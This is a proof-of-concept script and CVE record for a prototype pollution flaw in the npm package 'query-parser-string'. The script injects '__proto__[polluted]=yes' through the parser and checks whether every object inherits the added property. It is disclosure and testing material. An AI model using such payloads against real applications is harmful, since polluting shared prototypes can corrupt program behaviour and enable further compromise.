CVE-2025-63704

// PoC for CVE-2025-63704: Prototype Pollution in query-parser-string const parser = require('query-parser-string'); // 1. Craft a malicious payload targeting the prototype // The payload attempts to inject a property into Object.prototype const maliciousQuery = '__proto__[polluted]=yes'; console.log('Testing CVE-2025-63704...'); // 2. Parse the malicious query string using the vulnerable package try { const result = parser.parse(maliciousQuery); // 3. Verify if the pollution was successful // If successful, an empty object {} will now have the 'polluted' property if ({}.polluted === 'yes') { console.log('[+] VULNERABLE: Prototype Pollution successful!'); console.log('[+] {}.polluted =', {}.polluted); } else { console.log('[-] NOT VULNERABLE: Prototype pollution did not occur.'); } } catch (e) { console.error('Error during PoC execution:', e); }

{"cve": {"id": "CVE-2025-63704", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:17.697", "lastModified": "2026-05-08T22:16:28.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NPM package query-parser-string 1.0.0 is vulnerable to Prototype Pollution. The package does not properly sanitize user supplied query parameters and merges them to the newly created object."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://gist.github.com/6en6ar/d62f614dbb2b1032b5e45a56fe26ec8b", "source": "[email protected]"}, {"url": "https://github.com/victorteokw/query-string-parser/issues/3", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/query-string-parser?activeTab=readme", "source": "[email protected]"}]}}